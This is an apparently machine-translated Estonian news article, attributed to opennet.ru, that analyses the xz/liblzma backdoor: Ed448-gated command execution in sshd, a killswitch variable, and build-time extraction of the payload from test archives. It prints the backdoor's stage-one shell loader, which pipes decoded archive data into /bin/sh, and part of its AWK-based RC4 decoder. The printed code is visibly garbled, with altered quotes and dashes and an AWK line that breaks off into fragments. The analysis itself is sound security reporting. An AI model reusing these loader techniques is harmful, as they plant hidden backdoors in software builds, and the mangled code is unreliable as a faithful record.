Analüüs pakendi xz sisselogimise aktiveerimise ja töötamise loogikast

Saadaval on esialgsed tulemused pahatahtliku objektifaili tagasikutsumisest, mis on integreeritud liblzma-sse, mis on tulenenud tagaukse reklaamikampaaniast xz paketris. Tagauks mõjutab ainult x86_64 põhisi süsteeme, millel on Linuxi kernel ja Glibc C-raamatukogu, kus sshd-le rakendatakse lisapatch, mis seondub libsystemd raamatukoguga sd_notify mehhanismi toetamiseks. Esialgu arvati, et tagauks võimaldab sshd-s autentimist mööda hiilida ja süsteemi SSH kaudu juurde pääseda. Üksikasjalik analüüs näitas, et see pole nii ja tagauks võimaldab käivitada süsteemis suvalist koodi, jättes sshd logidesse jälgi tegemata.

Eelkõige varastab tagaukse kaudu RSA_public_decrypt funktsioon hosti allkirja kontrollimiseks fikseeritud Ed448 võtit ning juhul, kui kontrollimine on edukas, käivitab edasi antud väliste hostide koodi funktsiooni system() etapis enne sshd protsessi privileegide vähendamist. Koodi, mis on ette nähtud käitamiseks, saadakse parameetrist 'N', mis edastatakse RSA_public_decrypt funktsiooni (rsa_st struktuuri 'n' väli, mis sisaldab välise hosti ava võtme), kontrollitakse kontrollsumma järgi ja dekodeeritakse eelmääratud ChaCha20 võtmega enne Ed448 digitaalallkirja kinnitamist.

Taguuse aktivatsiooni tunnusena sshd-s kasutatakse standardset hosti võtme vahetuse mehhanismi. Tagauks kasutab ära seda, et OpenSSH sertifikaadid sisaldavad allkirja teinud isiku avalikku võtit ning reageerib ainult võtmele, mis on ette valmistatud ründajalt ja vastab eelmääratud fikseeritud Ed448 võtmele. Kui allkirja kontrollimine avaliku võtme järgi ei õnnestu või kui käitamiseks mõeldud andmete terviklikkust ei kinnitata, tagastab tagauks juhtimise SSH-i tavafunktsioonidele.

Kuna ründaja salajane võti on teadmata, ei ole võimalik rakendada kontrollkoodi, mis võimaldaks kolmandatel isikutel tagaukse aktiveerida ja luua skannerit, mis otsib komprimeeritud hoste võrgus. Uurijad on koostanud skripti, mis demonstreerib avatud võtme asendamise tehnikat suvalise sisuga OpenSSH sertifikaadis, mis töödeldakse ära tagaukse poolt püüdnud RSA_public_decrypt funktsioonis.

Uurijad on samuti märganud lokaalset süsteemi kaitsemehhanismi (killswitch), mis aktiveerub siis, kui enne sshd käivitamist on seadistatud keskkondate muutuja «yolAbejyiejuvnup=Evjtgvsh5okmkAvj».

Lisaks on märkimisväärne detailne analüüs shell-konstruktsioonidest, mida kasutatakse objekti failide väljatõmbamise keerukaks muutmiseks ja selle asendamiseks raamatukogus liblzma. Paketi xz kogumise ajal käivitati skriptis build-to-host.m4 kood, mis leidis testfailide hulgast arhiivi bad-3-corrupt_lzma2.xz, asendas seal teatud sümboleid, muutes selle puutumatuks arhiiviks ja väljatõmbas sealt shell-skripta.

Saadud shell-skript väljatõmbas arhiivi good-large_compressed.lzma sisust järk-järgult veel ühe shell-skripta, möödaminnes teatud järjestustest käsu head ja tail abil ning asendades sümboleid käsu tr kaudu. ####Tere#### # siin on mõned binaarandmed, kuid kuna see on kommentaar, siis ignoreeritakse neid [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../.. /config.status;then eval `grep ^srcdir= ../.. /config.status` srcdir=»../.. /$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####Maailm####

Tulemuseks oli piisavalt keeruline ja mahukas shell-skript, mis tõmbas otse bäkdoorifaili arhiivist good-large_compressed.lzma, dekrüpteeris selle ja sisestas liblzma. Skripti seas oli ka pluginamehhanismi rakendamine, mis võimaldas hiljem tarnida täiendavaid käitatavaid komponente uute testarhiivide paigutamise kaudu, muutes samas good-large_compressed.lzma ja bad-3-corrupt_lzma2.xz, kuid kasutades allkirjade otsimist. Koodis oli samuti kasutusel dekooder, mis põhines RC4 algoritmil, mis oli rakendatud AWKi keeles: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed 's/\(.\)/\1\n/g' | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Allikas: opennet.ru

Osta usaldusväärne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid | ProHoster